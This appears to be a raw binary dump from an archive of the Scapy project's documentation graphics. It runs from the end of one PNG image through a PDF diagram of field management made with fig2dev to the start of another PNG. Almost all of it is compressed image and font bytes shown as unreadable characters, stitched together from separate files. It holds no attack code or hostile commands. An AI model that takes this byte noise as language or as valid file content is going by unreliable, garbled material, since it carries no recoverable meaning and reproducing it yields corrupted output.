§K°^¥§ý°1›ñ5:Ûð¾Iöå¥ù~q‡Ns£(Ÿ4q§Ódæ)juݤô ð—Np¾£8VÁɨ<ÜÑíe᪊Cêkæâ|ÞògŽêù~žß¥ªC%º W9&°[A©@&á‰îІ¹£f®Lè}l!óîdùŸê¸Á áºsÏÜ!X\wn^$ ‡ë΃ë‚ápÝyü€@0®;‚ápÝù×Ï‚ápï þÛÜ!X\wþaî“ Á¢Èå¸ó‹¹;C°(vwFbzw.6 f_h5I넞ƒ©ÝQ­ª,˜;A8Ÿ`±íNÉH‰äµ¶Ù+<¯ðh‚2ª•$~Iu° )rÜ}õ™Ð3rçôâ¯u`ažJgLJ yB@›æ>x =]'Œ•+~¶>#¯9àíÝ óZƒ–tÅ@0BîÜ_8*§™—'ÆÍ¹Òfß̶îLJá—•> ¾ï{¥Ï÷ÿºM}‚#¯SVÚ?;{¥}“—fúþ̇wí½à[^ÔJ½ò÷eý¸0Ì5bÃ'8Yæ¢SVú”L–p„Í[±¬Kþ‚™vç“é¾…üDãfÉÒÛ:û²~´¨jwÇ8$¡¤²Ïwü2f¾Ã2i¯É»O0#Bî4¦x¬¹ÏK€³/ži³/ëǼUðáV¿QzÌ6~ׯm>ï‚?€`6„Ü) =«“ao5è쨺£L T6: ¿þzš=þ*"ßß=®Ce?¨@kþ 5{ÌYÔ•¡Û1ú¾rA"€ðHwÑSãkp®jÞdx¢z䀊úœïŠDý~`wHrÇÔ'˜|ŸÕ¤RÝmVo4ÏW'Xk•ÛÆ5O詘þ{ôâ‚Ù…÷LÒ:¡ç@âwÆBÜ! q‡`,Ä‚±wÆBÜ! q‡`,Än¢þ3î–U¬!ît—‡¦3‰G8úÒ*VtÆŒ—MÛ—G¾‰dôæ›±ï¼ÂiŒ×-2Þš/ÉÓöË\sx‹Iü4r ˵ŠU#q'-ÒĹà”&¯ØÐÿJßÏF¸¾^ŠŸ®EËåò Ñyn ÍÆù¥&îWç {•M¬™éƒÃä¬aÕHϳ\ÇY‹yy~[™çÙIðAåÿðžÜ51=ÎÓ¶ì·yŸÚÝ`ܱ†U#î´¾*‹þ´i‘,ÎîJ¢'¯„#ó'ѲäÖÜȹøfE°ïâÙu$Éd«™òòÇÜz)F±unê·†ü^Ò‡ü ìNÀÛœ“É¢i˜V-•9xËdñ­¬;u÷×ý6œ hU»s>>,3œî|œ‹9ÆË\óóÜ2a;`ݱ‚U#Bç<Éâï@îSYJ°Ùvégˆïƒ[9ñOOØâ³Ô yåXa¸~ú嬰ÁÕ•®áG×*wº÷›¸}Ú d‡Dü ׌?W¯€99’ (g_ŽûÜœœ?ìNëð€S¦tŸ¸ûÍÁYxOÖ‚§Wäüdsº“}uâêYJ?&æ¹;ñ7®÷» 8e.RØ»Ñ%”fÜ‘÷‡ƒyæt'3 ÓÌÍ d®ü¦/Q*•¿)»‹7,Õˆð\Ù·¼Ùá&Y¶qˆ?Áœ’þìݬ–ºÒubȺãˆVR4=§ þY&päÇé6î$ACÙzL™í ¨wñ8"šq§h: IÍéNQ&ƒ·~I<~rÃaº"&æßòW»³åÕ“ðé¬]_•Ç[¦äò³h¥Müë(ͺŠ®‹ŠûÕáÎM۫ؽÃðë®vÇ sæÊš²ÐTñ0gÌú¶Ïû4Úö¸1+ßIû£Dì˜e«F„ÝùÆ)&=Ǹï½÷©Û* úáð³J%Ίf^m¨™Àå åxÝÓog}µW÷&¤5´|(ªm1ôà¥}âyÛuC÷(oìp…b´(•Ao(qäóüéõÕ6§ÀÃé‰ìÝ4MÙ¥þ‹>ª[;ð{ΚEc/ÝÅ ‡½šÖ±êßxhcñ­`Õˆžû;ÓíñB¾æ´çD¶ËÁI¼(}Ø/ºE؈ìV4&[|þEŠÕÇ1½|a#yï‚y[ =øEñ6î&³¼Âe™6ãÆ£ÓÒ—Óú ‡G–ˆD˜(zmÙ…)ýl¼ª¸k6õ+r0Xßnâœ]>“@÷Ö±jD;­š‹%Ý[ç ñG K}Wu£ûûšÛ”µ´SÛŒœ±ÍãnZŪ‘žu_ÙŠù®œ»e«Fˆ;c!¸C0âÁXˆ;c!¸ÓMðcÝÛÃbâà‰;݃&Ö½c,&^;8ŒýË1£N±ÛaÉØZ¡ýM‰ÕǺO•, X2ºýWÒbâàõ¸ƒÃØ[ÎŽÍb·kåò§?èòÎX{¬ûWÛ/Á÷#Ú¯l)qðíYþYÚô ®wÇêcÝ%q)Œê0øÂBâàÝÑ„±û§kƒ×»À^ë.©ðP1îFLÛÔ ÀNYò‡ QÌÏ³ë –/èŽ&ŒÝ¿¯6x½ Üéu±î’«!ÕØ··ôj•Klì6 DÿçE½®aqðzÆ,6$¼Þîô¶XwèÎ8äÎ×> Ñ#€RÑ ¨V:o]¥ÄÁwà'x½»æ;VëÝi7BwöA[oD šÐÄLÐ8ë ,%¾w²ºß+Žu‡î€…‡¡;;¼ÐÖúö‡ï‘;œu–o^wz[¬;t§|:tçl_x!¥š°–ãg]¥ÄÁ º£cׯ?T*æ+ïšøà½-Ö½~ÄÇ@5ÜŠ6ñó»+” ñÈ ;ªºðØ:íº`1qðBî¨ÃØ9Áë¿a™øÖro‹u÷Ù\Ùƒày¼>n Màgðƒ!õyÿ9ê°z]åÄÁ[Â÷YVëû©ûÏ]€z]ÅÄÁ[‚;V?Ö½=,&ž¸C0âÁXˆ;c!¸C0âÁXˆ;Ýù]w‚‘hbÝ™ïH-&ž½=ÔîüÿÿìýW×Ƈ\ƒV^[ÁHÌ«`ôXEEcB*¾l¨¶bFS-•´I zÝZ49`©œªmBL¬6mjPc__h0]Ã1.à¢ìÞÿ¡sï¼ÝÝÙu˜Ý»sŸfgvVï=»sïî|žï ï¬ÍÎi;œ“½ÔC¬½à·Ê?7çpø{ <ð­1ïçïÌžúð4ƒ"¡®{ÃøQk A Ï®$ÿÞáùr½u½<ÙéL+ï=Õvû{Óyõí”ssÌn·¯@¯ò­1ïç; ¥¢âëºïóQçì¸G Ï®$ÿÞÉèÒ]ÚªÇÒØ:Þ¬ŸÀnN3ÝøIY§Î0ðÂÔð›ÿ ©€¦âY÷qG¸cA°5!<»’üxãË$x—çϱNãÆe¬;Øœ9m#|DÞ9jqµVë)XcþÖ)qç¼%Õ˜ÇðwÞ;÷¶ÿâ~ÞQbÝ›Sál§¢ Á³+ÉßuGâË$lI¯kÙkY¥qã2Öô¥Ä}ë3¿8󷉻Ø?yYª1/uJDÜ¡wlˆ —jÌcø;ç‚Iuåfý¼£Äº¿Q·»g 2xv%)ŽY’½Æ.·îÔ¸që@Ñãè‹H½)%%nq»×ľßGŸÂ:%!îg³Ù´˜{’qüóÎÖ¬~6…xÌâY÷ÊR¸=˜ŽÈàÙ•¤è É>›™¶¤ötð»Ó1bl|„c–»1­—µnÒ °zÖ) q?Ã\îÚÀ'Ÿxïàø;ç¹ðkX§~ÞQbÝ7Âí®©è€ ž]IŠÞ‘ìAÏŽ¥‰UAï΢Ê?gÁwÍwÀD8DýªæÞè›X§$ÄŽYBAVÞ;8þÎyg ür|N?ï(±î’!ÏXfEdðìJòïž/—ìe£íŽ‘WÇš|Y÷SÑ×2ØYçw&|{;3Z~‚wJBÜ¥¹²TcÃß9ï¼0‰Ýlñ˜Å³î΄Vz--pŸž]Iþ½Ãóå"’ ŠÌ‡z¯Õ<æRøŸTÈ—uï]°œ½Ø¥Üƒ;Ç;í?³ .sæ¤:¯N ˆ»û8ÓÅ byáü+ÃßtžóÅæƒ!¡®ûæÔËwJ Ð%‰ž]Iþ½Ãóå"’ J–f0ÃòÚ5n܇uŒéÈeLv@t=fWí¢Ñäðꔀ¸7±¯yÁjÌ ø»çÛs£Æn‹g¼[Ò[B]÷êXs!ú©‡ž]IîI£dx<=÷dÿXœ'ì‰C”q—$?ܪó'u¿‹ÖZ ‡gWRXÝÏò£»Nð ñ“J(Z×]w­˜½û‡ϲ¨4R¸{§5iJÐkÕQ©S¸{xüªÐ(ì½C¶¢Þ¡R+ê*µ¢Þ¡R+êD׺#ô›•QÖð*±¯«Nü8zTÅÂC`CöC€Qäå$ °&€w‰}Õ[ûõ©YÌе=^ée\&‚¼œ„1ÖØïÔÌa7Ž˜=| Ç@úÐÂ=—“0š’wø:õxéz 囓húü‹„O¶Å‹íñQßYK;.­+z|lmµZ˜“0š¢w„:õXéz-å›“è›ø„í4š*·‰í Qf[Fabåkfç%[…Ùf³]"0'aŒ58ïHuêÅÒõšJ–“pýa3"\b{RTä›ÚY+|Ì",'aŒ58ïHuêÅÒõA—cWÜ^¬=)ªòy›`Þ!,'aŒ58ïHuêÅòãAÕñèÕÙX{RTäoâ_ö¡…{$.'aŒ58ïHuêƒäŸœD%ÊðÁü’T*_ŒjHyô¶‘œÈËI`M©Ä¾P§+]¯¥|s•Lõmϱ¬íx{BT£ß‘WãàjýÍï}n /'a€5¤ûBz¬t½–òÍI¬/šjJˆþõ ÞžÕȇ]Šã.4[ÒÌ Ï˜“0Úšzþ<Þçß_’ÑÉþªç+ Ìá“E× zXÑ5¨¨DQïP©õ•ZQïP©õ•ZQïP©õŽN¢k]a݉áÙ•À;:®+'á¬;«+™èŠC Ï®¤Þ‘Ðq=9ñHgÝÙžLg¸Û·¤ðìJzð˜¥#'ñ¬ûó<Þ;¤ðìJòë2'n8Ö½çÛÁ;„ðìJòë6'n8ֽ܈Þ!ƒgWR€1‹Ãð‚͉ŽuǽCÏ®$Eïè͉CE4ëŽ{‡ ž]IŠÞÑ›xÖ÷<»’½tNÜh¬;æBxv%ùõހޛ7ëÜ·>fº{Ð.!<»’üyGBǃ̉uõ¨Sì쟞]IúmPWNÜ8¬;1<»’Âí^hÄŠ® @E%Šz‡J­¨w¨ÔŠz‡J­¨w¨ÔŠz‡J­¨wteÝ©TJdݹ{¤‘̺ŸúyJÁmÝ ¼Ïåàõ'»½Qõ"‘uo?j ¼Á¬{Âëÿ|ª[÷ïf>o·Û3Þ¨zȺïóQç츹¬ûᆑ¾Þ‹«Ø§àÜ{wÈcÝÆàŽå_p?BY÷zë\Æjå*ýòÞé.›Y¸þ&Üsm^¸¦iÁ¬ÏÁuó¦–©¡/ëÎy‡ÿÑ7,Ì_vÀ«aOãòüù/ÖȺ7§ÂÙNE:ˆLÖýSÛ+Q6Ûh_(ðø¢$¸.|Q®móû²÷Éeÿh.an ¥q_ÖzÇÕÅís½{äêÃÕ‰¯a ƒ-éu-{-«dÝß(‚ÛÝ3ÐA¤²îö(a÷Nïyv”¸€/™óÀþWÍìÇÑ3ãÎP—±îÅ&³™9Çíó—s}°\¾Gj¬„Ó÷­; dÝ+Káö`::ˆTÖ]æpf㬜˜ìLÈô ¹ðKÃË#g¬ý«ÆhLqE×µ˜+Ü>ïþ†¥S’Ùé—ÔðÙÌ´%µ§¬û¦B¸…L-ˆ\Ö]æÛˆ5ïvÌa½s/cáÉj3Dmm¯NOÕa*®@˜Ãp½#7ï­g½ƒ5칸·4±Š@Öý@2$_ˬè RYw™wF7±›§Yï &§Î<Éœ‡³ŸŠ Cj݇u÷3W¶M`_ò9ë±a° ֯MëîLhe‡K ÜPÖ}ÀÑå¸åÆ ¼O.¾:Ð:êp;á@ß7ÿÍ,ºÒßž³u(û²î} *ù_ÌDTýýaÍ®®ÌE—Ø0(2ê½Vó˜‹@Ö}sêå;%è’¡¬{9âÄñïQQ¹ëÇÆ\¸žnN0Åt€séKL̨uCú½Ö—uÏf3÷¥_BÕkã£bW.n%K3˜ayí$²î :Ö\ˆþŒÀº‹êëCsªî÷wû¿.ອG==nï†<žž{_Þ¬ûÝÿ¡C²î£¯¢‡ Ÿ·[aÔ°F¢¬;xyÚþ¯nµ®ÎQøÃŽBÖ0U =ªwÜ»r££Æ­ÓÿkKȦ $üŽ;TÓhËø©Íö€e(Äsx(‚÷λ±ëlO0¡ôÍIÌ©P‡_ž“ÐB²œDZBJòˆcÜ~a-ßaÌÂ2Ü9<Áy§?iû¿&„ݘeÈœ„X‡_ž“†à˜åÈç?™w° wEpÞ±‡ á, ¥whNBôï?9‰`Íwe¡}™wª¤ wEpÞ9/B‹Céš“½Ãpòœ„&òÍI ï4d¢÷]ðNÁ›ìètÀ;CÁÃCœwþõ;›·„ݘeÀœ„T‡_ž“ÐB¾9 縷]Jc1èpÌÜè@ÜûнŸ˜>À2â91!å9Vç~ÙSÁ¬RZ52`NBªÃ/ÏIh!ŸœÄýDØÞ~É6¸u! ^–¾š“U‹g(¤sB(BÊs¸ÖÆE/Z×/ÑœÀã úI|$E *¼:„¢9 òã !ÍIи•(brTa'’rTá%Ê~Q©õ•Z Þù?ÿÿìû{UÇ'¡m i@ËMJk…Bí+‚®·JÝÊV%( ‹­Uº²ºrQt)T( TP‘‹¸‚°[Y°}Š RE "R,PRŠ4mIKšóì¿°çÌåœ3É$M“édÒ™ï“éÌdòNòí\?ïûêÞÑÕUéÞQHbÖëfÂqÈ(Ý;ʳî@x„w‡½‰yܲ92É  ½Lþ°%bÝýŠnà ½‹âTô.°î7ŸIêõ0û´íöS-z=Ü7jŸ§K{‡çËÉH05úÃͺûÆÂ‹nà ½‹ãTôγî—Rþüý/æMhtIöØïÙi•qõ‘‹+,I{G@/ÈH05úÃW Ö+øVªÞyÖÌÊ…ƒu§áàT¿zÞ;ÞÛ=’ðæË)Ðt‹wü²î_ØlK@™ÍVL‡P>çÁ¿£ûÙ¸¼)Þñ<g¤ ÷@¬ûYæ ŸÛçÎÜï|–¤h€òIj¿ƒùršƒnñŽ_ÖÝþŠy83cÊA*„·,Ïïx$éÕ CïdŽ3bÐ{ Ö}×°¢äXk[?¡{§‘Q<‹REô˜€uO;w@•Tö˜½ðeôâV@Hæ qª zçY÷åÌÄ}µ«bOƒº¾göŽÇ KÂ’òRßùǺ¯ÍõÜTï'¬š˜+nÀy‡ÌâŒôˆu_Û ]ZM¶¬çǨCìÔߘFÅ£”EêóǺ;înYW@‡PbA`{Þ¿Ä­8ïyBœ‘ƒÞ±îûØìš·Gƒd†+ÿÌ"˕Ɋ)¤½#ðåd¤{¼€uŸ½müa:–c ºV·WQ+Î;dž§Ê wžu¯‹A‡©…¹ÜDá˜ÅçMDŸ¤½Ãóåd—Ø—UþYw¾øÝ=¢XžJÙvóTòK€´ @¼0Ä©.è]`ÝŒ;{kƒ‰M3qÃc[4¼:¾6‚‘…#iïð|9!%öå”ÖžAÞ÷‚8–ö¢ÁŒåo.ªÞ…y$N•Aï<ëî´âïe§ à‡ÁW{êÊHŽü=“¸í3¢´ÒñãB ÀÞgžº wu¿U':öþîqª_*}zT§x:_,Š$fݱ.IOŽ ©Ó;µÌžÑªyŽ©ËÔéÏ̾Ë#ƒ®Î¤Nï%u©YjõŽ.õK÷Ž®P¥{GW¨Ò½£ôºîºB”†êºGDÁ±î{8Ö}Ä'¢x°fžx¦Ü'mœ9ÒªëHÞ칌 ŠuoZß§ êË­‰âAÑâ™" Þ±›Q` ¡ºîäÞ˨ X÷Š4\²=àš‚âí xG3uݯ=ýÔ‘•3 ÏÓuÝAãËÍ;)ª³ÊŸº:¼2<¡±îÈ;Î;”Ú–_8»Œ ¸ìµ=ÛÑQ°tWî—ÛrÊhÈg±Íö27F•ç½Ó^’3ÿSy½£íºî-¥)ÆI¥ NPuÝCs÷¾f>@ãïo&nøØ:9,Æ!4Ö½"¾¦fê›~ÎØoáêøs(àpê5è­LÚ«±CŠÚöm\ddWN—ç¼Ófµ9ß$¯w´^×Ýšÿ?æN¤®{þ£ð­Iæ!—L'p Û·‡ÆºWcVÀIÌ~ø³ ëk wì¹Å¾ÓkH²‹€ø£œwè2ðœwÖ¤¶°Jc–†êº[á5(78I]÷T„.Ý6žø·Üy?.}Ü{…a)(Ö³¡=QE¯6>{'ÖÌWÀÈ " ž÷]žóÎTtV#¯w´^×õNó+©ëžO!@[/t–Çÿ–›F£ákÓe&(Ö;WüˆØ;}¡-Z8ï ž÷]žóÎX´ugäõŽÖëº[§ÁÁ–!€\äÌ@×>b`+°ç1ð:Á“ðJ¹S…ĺsÞ9’A{gßùxGïº <ç¼QpP¬À1K;uÝÕøQkYßíT]÷ïbK›¿Nbm=Ÿ9þ|㢻ÃúÞCcÝ?5; vôwí17xœ¹…‡ÖÜÙ®Úlæ'÷¯W{|ƒ{ø)ă&Ç~££ÁM•Ç@¼=n­óÈø¾p6"i§®;°>9œIÚF×u•# ‰Åì)°çÍyñÆIÒ‰‚UH¬ûV.·‰3—a ÿÌ ž½úcÌÓ&fý &³¹ç ¦÷‡ˆo³°Ko¤ <÷«2 ƒ×%0¢(ºEÚ©ëO|“Sšñ˜p4p·vgd]cÝ[î³Nß2ðÍR‹uƒ4S×ÝZÉz:ëÞSëº{êÆ,‹ðS^uIxÇ~—Å2)²Qé¬{4HM ­žuÀê™R«wt©_ºwt…*Ý;ºB•î]¡J÷ŽBòÓ@BQ“C¡^ï¸{ÔÅé Щ¢&‡"wjïù97V𦍴0mDÅþi¨~×¢þÆ1kFS!ÒT.)bô5àÛ& |DZÚ‹ÂkÀåILI{€iiéK`EME ï¸eð'%ø¼³t) Ó94¿€yc?¯ß;ˆ AJ5|ĹÉsªªª¾bPçmï6-ßT-œˆÿŠT›.OâÜPK-8—²§“goÑ’Cø˜…lµ(âÐhÙy0¾€ö¸¯á_/Ÿ­•[ø‘œÅpà±^–^lñN„Ú=Òò^`d§àN”äPH{§þÕé>Öâõ³V\¬w¾°Ùle\^4m\~ŽS*7¡ËòÉ“Å÷Ž_Š^‡£§Î? *‡ äe|?Ƕ¼c˳~8d{(Æ„(®œÅüûI›*)BðŽ"måI€´¯†y8ïðƒs=€¨¯AtäPHz§ºÿ“;ËÌoÁ.fü†©èÀ½cÏ6¯> œì+Ëe.Kå&tY>y eùzý ÷óü£f‚—qmcAïi™kÇ.;¿±À´qãFôKä,©¨ n@'EðÞQ¦M@ < fŸþ5ëacp®‡¸¯AtäPH3…pp¶ŽŒsƒoÍm¬wö :§þl‚ÿ“š¤rº,Ÿ< f¤sW'³ŒÓ$*/£œ™ÙÚ=ô1Ëh21g¸q®ä2Áy'’mø< è]yÈ;dcp®‡¨¯AtäPHyç:s‘³¾ÎçM¶$|`ä¶ÿ…øI ?b¹eŸÜTÝgðÇü¨ûhÖ½.•—Q.ؤÜÂ/›SP_Ë›—óÁyG¡6ò$ wZ“\Ð;dcp®‡¨¯AtäPHyç"süZ ©+ÓYÆÎí¬xebÒ©Ü”]øn*üÖ;þ‰Äö»Ž¡ò2Êãø»gåþm9‹ ]Èy‡NŠà¼£P›€@yÐ;`þnè²1˜×õ5ˆŽ )ïxÐÞÔ¦½÷ ÈC¹!g¯ þ!•›ÐuyçIœˆ¹Ô–R À ¦þÕ>ð ÊË(·ð‹WÄÃjdŒœÅdœwè¤Î;‘lÀçI ï|™½C6{‡îk%9’ç;Û¶;OŒ}ÜÌ,jug~rß©37t´¦¿Ý 71ÛÞztĉ܄®¸wžDsÖl6 úzç¾o€ãå{œ$œ—á¹±;Áá`o‘\d¾j~l€ƒëjR–„þ­ ÐKÙÛ³ïð+‡ú,)ÜíBRÞi³ŽÚœo‚ÞÁÐ;UB]NiŽuÍ“²ù1Þ;¬NØ}|S‚rñôf}Õÿ™´z–z=¥¼CV_BvIyg ²ÿ*è z/·tÇkŽuW‹„‰”w\sÿB%©¢ƒõ †­6žN÷>…†{’Åk¼CV<†“2„݉¤¼3µjÐ1‹@ïå–î¥ç³î”ˆw\3àXÞôÕ¢%:b¢—~ɤUSÐpÃ8ñªð1‹è7¦±‹q‡ )ïŒEg\gÐÏD ÷rK÷ÇÒóYwJØ;×'ü‘ûŒWÓÈMpPÏP$ØîèfЛx9 ïT&ûL’_RÞÉÅðg¢ w\B]Viu§$xçtòÞDŸ„¾m\O†"´Y™IMrö…;¡f wZ„¿< ïxÛ«[$å{ÜZç‘ÌOnRÄ—P—UZcÝ© ‡˜khw³?a)Üâ\t>üîPaîÄözòæÀåm‡ú¤'']hʵ²û4áËkvL[äð²fu|m÷lˆH¼w<¢kôª Ãàu ÌÛ¤ˆ;.¡.«´Æº}Ènç Ð1€Ûb´'Ù%Ì}v$w•t>ÝÔo‡xÒ²Þ¦)ܽ"áËc¿´l@Ëžº²[¶ÂKÐ;ßœ»ÚrÛëÞ Ïµ‹ ÷%Ô»Q=•u÷U‡§\ï³›½}Ýw)/Ù, 2ªðôÞöýGÏ^iq©öYh4ßN¦<ë¶.)ôQ[8ïüO¥ÞÑYw‹õÎ5Õ2:ë®bAïTéüŽ®P´…¿Fÿ?ÿÿìoLeÇ  ’š-¼1Ñé 4Ù‚[–Mã¢F³MH¶¹•%²DL6õ…:“UæXÌdTÙ Â@è63 WÛL-A›ü)¤»Âø[ ÿnÝ2Ç”ó®×öž»{JÏÚç(ÉóyQÂñkŸ_Òoú<¹|øgó_ÁÙÁ$ vN1‰‚³£1\w¥¼tàì(C,×])/ dG÷>ªf|;YÝû…ªîyæçnít¼'¸^±Ä+y“óçóF!å­Ì2E~ñäåJM‰d!uÝöÒQÀdÇl½1Ñ/;€ë~¼g'Š·–9jê›Ç ó÷Û·‹ÿ#@ÜËÈŽ6h@Ïž‚ ®«º å³¢˜wºö¢ûît‰ë®´—Ž&;æž©ÁxÙiU+ÓO)÷^†Æð¹6Ö%¡—|-ó|ihÕõBA–‰ëN)í¥£€ËάhÏ⦎ó¢9àºk5šÁ"p4yD—‹Äuf‡zñ«U{±i4?Çè%h8¼{ïìY"_~i¾|ò³×Ô Ö£ºŠÞ.=˜ŒìÈsÝ÷ÒQÍNxê8/š®{½þX:XŒ&ªñr‘¸îÂìt«®¬Ú˰^Ÿ[£—“ÏT4Wª ©PvϱÛB´œÜ²«ò‹œSàz ÓoS%#;2]w¥½tÀ²ÃOŠæà>aNEG“j¼<$®;ŸÌ²²ã›Çíå’½¼ÇžueÌC~zV–Ê–n 0iQÏóëyr˜çÎ>‰lÏ’ºîJ{é(€e‡Ÿ:Í¥ÙŒ&Ôø„‰dgƒFS\¿. ^ìÏ>}°äör~Ñð@F?XþÔ~N÷9gsë™ì×JFväºî<Šxé(8 É?u<*šK³M¨ñ #8ïÄï… ¤°·òÈf-Åwæåêר êEüzMÙì§ÀþddG®ëΣˆ—Ž‚ Hvø©ãQÑtݹì@F“j¼LÄ®»4;qzáÂéå;äz4c8+GË÷½Ì¾±µÀžåL»Älzjd{ÄuçQÄKGA9쬙:Í×}ŠlL'Ý~Øhr@—‡Øu§¦É/w’cA*`ÌŽœWéÅO’{>!§)X/û²Œ3'6ÍS³o}þÅhywæÑÎéOŸpQA7»+ŠÝÚ=^¤*De·J\we¼tpÙ™ñ ²™:ÍY®û‚:$gëa£ÉA5^b×Ý·™}í´«Ô·*UÆXÜ^N†ZÉ Àz9ðîÕ†fŠÊU©²¸»|¹ýÕŒô¼v漜ºTÀ|ægo|§¯Ž±ëΣ—Ž.;wZE÷ÃSÇ¢¹äcW2š:þ“P/ Áà8ü®tïœøŠ_r%©ÄrÝ•òÒQÀœ•-±]÷TÍS©—ˆáº+奣 âüåöîÏ,;©$š§R/ŽPvœž›¢¿¥’hžJ½`8ÊÏ6\ÿux曇kÝ f]q¦êR›ÃéyÈfgåîZwƒYGø¾®n"z\ ØìÐ÷׺Ì:Âzæ¢ÉÖç„Ü/zei­ûÁ¬\§Ï_n³N.že‡þ‡#a}•Ñd»ášÿã&—šþ §—àHsé¹Ú ÇàäÝåÅHv˜ë‘×Ýßy­þ\µÁ`øƒQ]]UzªÜ`lé°ßr{—išÏ½âw÷ÙLFCÍ…‹µÆê0 5Õ†cãUÂ~óöÜŸ´ ;ôâä Ãljjii5™®\Ã`´´46·þÔÑÙý;éYt9ïÁì,/¸o9l+‹ ƒbµš-¶.GÿðøüÒ=ïÔè˜úžÇ=Ô×Û‡Á@ù­·oÀéžöÝçâ"ÈÍÄÉ}›Ä` ¸È±ÉYßÒßá´ü ÿÿŠ‚ÊÇôIEND®B`‚scapy-2.4.4/doc/scapy/graphics/fieldsmanagement.pdf000066400000000000000000000123701372370053500223320ustar00rootroot00000000000000%PDF-1.4 %Çì¢ 5 0 obj <> stream xœ•”Én1 †ïz ÓaDQëµèrN<}7-Æp2näíC¥ì¦±ƒ9H >.úEÎ#h$Ðù+ëÝF]߸ß)Áó2Þ«¨­c ‹ÆqCNv¢ÓÈžaìÕúR%´6:xVSL¸ý~ŽßB•45ë@¨ÓìCÄŒÑå:ƒš"Ë'1óc–ôœdµre‚Fl‰i1kòÎàrKÚG>Ÿ:ð0:FÛÉ{O—à§¡¦^&0$³”õ;Ì_%8 -f¦f%m´¼ÒÛþIi1jtéHw¤àT£›4Ô§^À‹³I|XÜih1kû®\§!‘+êˆ:BÔ“ôéf¶Tm†éå™í÷e¹ÛÀçNF(B”’÷Эˣæ&O!’´—õdÝF]|ûÕ«lÿöã°]®úÕ§î·2}çºv+uñ¥_/Ÿ†?°ž2uåÐûD®œGÙLØ]?®o9]☠øùO Ë—~ÌçlI&¨‰rD|íÔ"£³ð4ÕÒJó!EÈ;d™Ùd¤™å,Ȱ}þ7ui&u±´©kï5T±´”1ÒÛªZ¨2ÿ U,oe4V~EÔf¬=–©„ûgw‘¼Ê2EäÙÐB&É$J7ÎP5dˆ­—rÚÚ«¥­êF½ãr8ëendstream endobj 6 0 obj 501 endobj 4 0 obj <> /Contents 5 0 R >> endobj 3 0 obj << /Type /Pages /Kids [ 4 0 R ] /Count 1 >> endobj 1 0 obj <> endobj 7 0 obj <>endobj 10 0 obj <> endobj 11 0 obj <> endobj 8 0 obj <> endobj 9 0 obj <> endobj 12 0 obj <>stream xœUT}PT׿]Þ{5°F6µèÛ§AùpE¬*RXX% "h¬‰a…-»Ë,+ P£ñžÖAÃ.mS±Æè4!ibˆ‹-µlÍ.jÖNgjÚ8çîÜu¦œNÇÞœwî=_¿ßù])CÃ0ó¶Í£ÝôfÑìŸG1xI^ª‰5°+` ]Š §„Ëa 9LÙ³„­Ž€Ë àùPóãD½P[Qb3êöUfUÙMÕŽ‚ýæ¢b ¡ÝèU”‰òPZô(Å ¨e£B´ýíB9(e  !¤D/£“è_L6s–ù.dYHqÈÑïñŠlÅŀ¯ŒR®SÞ] çTø8±z/8¼»²"¨%?ÆÚÐD2ƒ=åÉûjÊäÅ¿”Zj[ù4îô¡ÓǺå3ò@{÷©¾®ÎîS— ! Z¤ÂÃö ¬`Îû`ا€^|^ 1‰Ë‰Žèf–CÄÜÿÒ`[ÒÈ*͉TááSI$™Ÿ·9aÍö PCÄç¿f6‰g‡ <êŒèóÁµÉ…êz|8`’ÉlÙp~¦Ì“%‰„!)õÉô–ýåê™Ñ+¢º>믩ÃEÂýÏSÈ‚Ùãð¼”õ ¹ß‚ T_~û@œKã=eΈ‘‰Ô)øÔ·PýÛb¦ ½\0Tå–yˆº Ðäã Û!D£Û^žS"ª?ú{*§…:ƒðÝŸ^" Ès¹/­]ŸwæÃüëwfæ:Ÿ€­nHš`>º«ÀïA£ ß9òIýïMwS®ÅѦW®&J’FÒ,ƒ›tëÒldíY{J·Ê…òT\Þöí³Í×ø·ÐöÏ/nLɼ÷†~C“ÜÔܤQöÉ^ü•—¹çÇKüŠ{‘ð! öƒƒ(A$9ò!ë%௠ƒè¿Å“\bØG¢5*8'»°Þ QãÌ̤~EyNò²¿s¾¡í¹¹KãjZž¨“ùÔ×÷¦i3õ·‚{&ñ§‚»42}†"6F[¨£±ê k z9ùv×ÐÅ^=Ö×Õûîõü4×Ðòö‰ƒr\\þóͼz𜠃삯½Ðàeîûð2L ðÈKA–¼Á†'?K7ðéêüÁ‡| œUBó¿õ×I8…MõSCü¦K%ð¼E㩹ÞÐã‹wïþEúÆŽn‡ØØy¤óè ¿žm%áî°[æ³ç†?ì¿×¡™ùõû­ýü³/ÇÈ$\£Ú®¡}?±Ü¾É©‡r/[Ç£@¼OE“©~ bÆ.Û«%à`%q þ§²ÎyVÖô}´÷`×,ï†Ö3oò9Ïɰ°éö°p„þ % t endstream endobj 13 0 obj <>stream fig2dev Version 3.2 Patchlevel 5 fieldsmanagement.figdirk@noname \(Dirk Loss\) endstream endobj 2 0 obj <>endobj xref 0 14 0000000000 65535 f 0000000815 00000 n 0000004717 00000 n 0000000756 00000 n 0000000605 00000 n 0000000015 00000 n 0000000586 00000 n 0000000880 00000 n 0000000981 00000 n 0000001354 00000 n 0000000921 00000 n 0000000951 00000 n 0000001610 00000 n 0000003251 00000 n trailer << /Size 14 /Root 1 0 R /Info 2 0 R /ID [<05D556F47C95094E0BC647BAC325C1ED><05D556F47C95094E0BC647BAC325C1ED>] >> startxref 4935 %%EOF scapy-2.4.4/doc/scapy/graphics/fieldsmanagement.png000066400000000000000000000412001372370053500223370ustar00rootroot00000000000000‰PNG  IHDRbÊHjdÛ pHYs  šœ IDATxí|TÕö¶„Þ•Þ{¯¢€€ô¢"HQ¯€üA¯¢ˆ"ØQ)R.JA”^T¹ Ò¥ƒ´O齆ò=²¯ûž;“L&Éd2™¼ççoÜgŸuvy†œ¼Yk¯}ÒDGG‡èÿ%öOu&" " " " LÔ¿H&ÆEU"4Μ9Ó¿ÿ ìŒ>ùäFxóæÍ€¡&"¼ÿ9–¼|’´wÉÄ$Å«ÆE ™ \¼xqâĉëÖ­KæqÄÞýÊ•+¡dbì„tER;ÀŽñ7$™Ä_®¦&" " "  ' ™˜pvºSD@D@D@‚˜@hÏMSˆ‘À_|±jÕªƒ–/_¾E‹>ø 1›6mÚÉ“' ”.]:S3räHÂÁO<ñDLÍŒ3Ž;öì³ÏfÉ’…šË—/Ožÿ©äáÀþæÍ›>œ'Ož:uê<ù䓹rå¢;=( sŸ}²o¢`%pàÀü0 